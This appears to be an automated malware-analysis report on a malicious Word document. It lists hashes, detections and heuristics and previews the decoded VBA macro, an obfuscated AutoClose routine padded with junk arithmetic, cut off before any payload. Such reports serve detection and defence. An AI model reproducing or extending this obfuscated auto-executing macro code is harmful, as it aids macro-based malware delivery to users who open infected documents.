Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd671d363b020c31…

MALICIOUS

Office (OLE)

133.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: eaf81e163e27875fdd289442c7ffe6c0 SHA-1: 6642fcf6710c893f7125d57d8cd46dbf3dd2b4b2 SHA-256: cd671d363b020c3196e1ff75f04c4596b066c8cdb8158ef1ea5666eac5abe37a
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro. The presence of an AutoClose macro indicates an intent to execute code when the document is closed. The ClamAV detection and heuristic firings confirm its malicious nature. No specific family could be identified due to the obfuscated nature of the macro.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39362 bytes
SHA-256: 68cf2a4d4a228f5acac423de9715dd4a4c456f725074a93b2a446db9b4f244e1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const PAVubutoPYMIReaaWAsuZIHYQoPIJaCoHeWU = 0
Sub AutoClose()
On Error Resume Next
Dim nAnUTneGoQuFTeGewYmDEzOvicijaKaZABgYq(4)

If 13 = 13 + (6 * 0) Then
nAnUTneGoQuFTeGewYmDEzOvicijaKaZABgYq(0) = CLng(2966)
End If
nAnUTneGoQuFTeGewYmDEzOvicijaKaZABgYq(1) = Sqr(6)
nAnUTneGoQuFTeGewYmDEzOvicijaKaZABgYq(2) = Month(29662966)
nAnUTneGoQuFTeGewYmDEzOvicijaKaZABgYq(3) = Fix(2966.6)
Dim mLeiIwaTewIzIhiujAMYNAayceLunExO(4)

If 12 = 12 + (4 * 0) Then
mLeiIwaTewIzIhiujAMYNAayceLunExO(0) = CLng(9704)
End If
mLeiIwaTewIzIhiujAMYNAayceLunExO(1) = Sqr(4)
mLeiIwaTewIzIhiujAMYNAayceLunExO(2) = Month(97049704)
mLeiIwaTewIzIhiujAMYNAayceLunExO(3) = Fix(9704.4)
Dim WymaNifanOusOdymIcEWYQENykUZOKoNuFUkejYNI(4)
Dim upYKIHYjiTZYWecIAtYseQaLOveqyRI(4)

If 11 = 11 + (8 * 0) Then
upYKIHYjiTZYWecIAtYseQaLOveqyRI(0) = CLng(5162)
End If
upYKIHYjiTZYWecIAtYseQaLOveqyRI(1) = Sqr(8)
upYKIHYjiTZYWecIAtYseQaLOveqyRI(2) = Month(51625162)
upYKIHYjiTZYWecIAtYseQaLOveqyRI(3) = Fix(5162.8)
Dim cuMIkiSaTEPIXapOsOJORrGUQiW(4)

If 13 = 13 + (8 * 0) Then
cuMIkiSaTEPIXapOsOJORrGUQiW(0) = CLng(6256)
End If
cuMIkiSaTEPIXapOsOJORrGUQiW(1) = Sqr(8)
cuMIkiSaTEPIXapOsOJORrGUQiW(2) = Month(62566256)
cuMIkiSaTEPIXapOsOJORrGUQiW(3) = Fix(6256.8)

If 13 = 13 + (7 * 0) Then
WymaNifanOusOdymIcEWYQENykUZOKoNuFUkejYNI(0) = CLng(2744)
Dim wEiUGAnECaWIruNiJeqYqQuwOFIkAsUTuJOaaTA(4)

If 10 = 10 + (5 * 0) Then
wEiUGAnECaWIruNiJeqYqQuwOFIkAsUTuJOaaTA(0) = CLng(1848)
End If
wEiUGAnECaWIruNiJeqYqQuwOFIkAsUTuJOaaTA(1) = Sqr(5)
wEiUGAnECaWIruNiJeqYqQuwOFIkAsUTuJOaaTA(2) = Month(18481848)
wEiUGAnECaWIruNiJeqYqQuwOFIkAsUTuJOaaTA(3) = Fix(1848.5)
Dim xOciHajJeborpyaekIMoPOGAmoDO(4)

If 12 = 12 + (4 * 0) Then
xOciHajJeborpyaekIMoPOGAmoDO(0) = CLng(947)
End If
xOciHajJeborpyaekIMoPOGAmoDO(1) = Sqr(4)
xOciHajJeborpyaekIMoPOGAmoDO(2) = Month(947947)
xOciHajJeborpyaekIMoPOGAmoDO(3) = Fix(947.4)
End If
WymaNifanOusOdymIcEWYQENykUZOKoNuFUkejYNI(1) = Sqr(7)
WymaNifanOusOdymIcEWYQENykUZOKoNuFUkejYNI(2) = Month(27442744)
Dim mIkaDIPDBapAPYcAaEwxiLCUcesInHojeFy(4)

If 11 = 11 + (3 * 0) Then
mIkaDIPDBapAPYcAaEwxiLCUcesInHojeFy(0) = CLng(4324)
End If
mIkaDIPDBapAPYcAaEwxiLCUcesInHojeFy(1) = Sqr(3)
mIkaDIPDBapAPYcAaEwxiLCUcesInHojeFy(2) = Month(43244324)
mIkaDIPDBapAPYcAaEwxiLCUcesInHojeFy(3) = Fix(4324.3)
WymaNifanOusOdymIcEWYQENykUZOKoNuFUkejYNI(3) = Fix(2744.7)
Dim SefOjEfocmAxyVixowedOWyCORyiQa(4)

If 12 = 12 + (3 * 0) Then
Dim RAVUmbIjEwBYxuGhIwuwMuxyxoygoi(4)

If 13 = 13 + (8 * 0) Then
RAVUmbIjEwBYxuGhIwuwMuxyxoygoi(0) = CLng(1718)
End If
RAVUmbIjEwBYxuGhIwuwMuxyxoygoi(1) = Sqr(8)
RAVUmbIjEwBYxuGhIwuwMuxyxoygoi(2) = Month(17181718)
RAVUmbIjEwBYxuGhIwuwMuxyxoygoi(3) = Fix(1718.8)
Dim hESOwYSoXBulaaiXJoJokiLizezuk(4)

If 10 = 10 + (10 * 0) Then
hESOwYSoXBulaaiXJoJokiLizezuk(0) = CLng(2828)
End If
hESOwYSoXBulaaiXJoJokiLizezuk(1) = Sqr(10)
hESOwYSoXBulaaiXJoJokiLizezuk(2) = Month(28282828)
hESOwYSoXBulaaiXJoJokiLizezuk(3) = Fix(2828.1)
SefOjEfocmAxyVixowedOWyCORyiQa(0) = CLng(8752)
Dim mapoWutAhIaYiuduSiaidYXoFYVOJMaHeKYleRobaoX(4)

If 11 = 11 + (3 * 0) Then
mapoWutAhIaYiuduSiaidYXoFYVOJMaHeKYleRobaoX(0) = CLng(6210)
End If
mapoWutAhIaYiuduSiaidYXoFYVOJMaHeKYleRobaoX(1) = Sqr(3)
mapoWutAhIaYiuduSiaidYXoFYVOJMaHeKYleRobaoX(2) = Month(62106210)
mapoWutAhIaYiuduSiaidYXoFYVOJMaHeKYleRobaoX(3) = Fix(6210.3)
End If
SefOjEfocmAxyVixowedOWyCORyiQa(1) = Sqr(3)
Dim ruGAzANOLYxARUwElumIHOGAsEwIroniBEnErUg(4)

If 10 = 10 + (4 * 0) Then
ruGAzANOLYxARUwElumIHOGAsEwIroniBEnErUg(0) = CLng(6839)
End If
ruGAzANOLYxARUwElumIHOGAsEwIroniBEnErUg(1) = Sqr(4)
ruGAzANOLYxARUwElumIHOGAsEwIroniBEnErUg(2) = Month(68396839)
ruGAzANOLYxARUwElumIHOGAsEwIroniBEnErUg(3) = Fix(6839.4)
SefOjEfocmAxyVixowedOWyCORyiQa(2) = Month(87528752)
Dim REQYQo
... (truncated)